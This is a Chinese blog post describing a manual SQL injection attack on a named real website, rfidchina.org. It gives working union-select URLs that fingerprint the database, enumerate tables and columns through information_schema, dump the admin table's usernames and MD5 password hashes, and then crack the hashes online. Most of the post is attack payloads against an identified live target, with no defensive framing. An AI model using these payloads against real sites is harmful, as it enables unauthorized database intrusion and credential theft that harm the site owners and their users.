您的位置:首页 > 编程语言 > PHP开发

php手工注入

2011-05-27 07:06 239 查看
http://www.rfidchina.org/products/product.php?id=9740

URL后面加上'后,返回的页面虽然没有什么错误信息之类的,页面出错缺失了内容,

然后是and 1=1 、and 1=2 ,分别是正常信息和'的页面,在9740前面加了个负号“ - ” ,它没什么意义,和and 1=2 一个作用,出错,
http://www.rfidchina.org/products/product.php?id=-9740
然后是union select 联合选择……最终得到
http://www.rfidchina.org/products/product.php?id=-9740+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14
这里2,3,4,5,6,13都在页面上有显示

因为空格和+的作用一样,而空格会变成%20,所以用+看的清楚些。

user()获得连接数据库的用户名、version()暴出版本号、database()暴出库名
http://www.rfidchina.org/products/product.php?id=-9740+union+select+1,user(),version(),database(),5,6,7,8,9,10,11,12,13,14
得知上面的分别是 root@localhost ,5.1.24-rc-log ,bussiness (库名)

GROUP_CONCAT()查表
http://www.rfidchina.org/trade/trade.php?id=-9740+and+1=2+union+select+1,2,GROUP_CONCAT(DISTINCT+table_name),
4,5,6,7,8,9,10,11,12,13,14+from+information_schema.columns+where+table_schema=0x62757373696E657373

——0x62757373696E657373是bussiness的HEX码,不过什么也没有得到,连显示位也不显了。

改用 or 1=1 、or 1=2 ,
http://www.rfidchina.org/trade/trade.php?id=9740+or+exists(select+*+from+admin)
很成功的返回了or 1=1 时的页面,看来有admin表了,

接着猜列名,admin失败了,是'时的页面,又试了username,很成功
http://www.rfidchina.org/trade/trade.php?id=9740+or+exists(select+username+from+admin)
该猜密码列了,上网上找资料,hex() 、unhex() 。于是又回到了开始的办法。。。
http://www.rfidchina.org/trade/trade.php?id=-9740+union+select+1,2,GROUP_CONCAT(DISTINCT+unhex(hex(table_name))),
4,5,6,7,8,9,10,11,12,13,14+from+information_schema.columns+where+table_schema=0x62757373696E657373

这下把各种表都暴出来了,在里面一眼就看到了admin表,果然有它。
http://www.rfidchina.org/trade/trade.php?id=-9740+union+select+1,2,GROUP_CONCAT(DISTINCT+unhex(hex(column_name))),
4,5,6,7,8,9,10,11,12,13,14+from+information_schema.columns+where+table_name=0x61646D696E

终于看到了:username、passwd。

——0x61646D696E是admin的HEX码
http://www.rfidchina.org/trade/trade.php?
id=-9740+union+select+1,

GROUP_CONCAT(DISTINCT+username),GROUP_CONCAT(DISTINCT+passwd),

4,5,6,7,8,9,10,11,12,13,14+from+bussiness.admin

分别在2、3显示位显示出了username字段和passwd字段。

密码是md5的,在 http://www.md5.com.cn/ 解了密。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: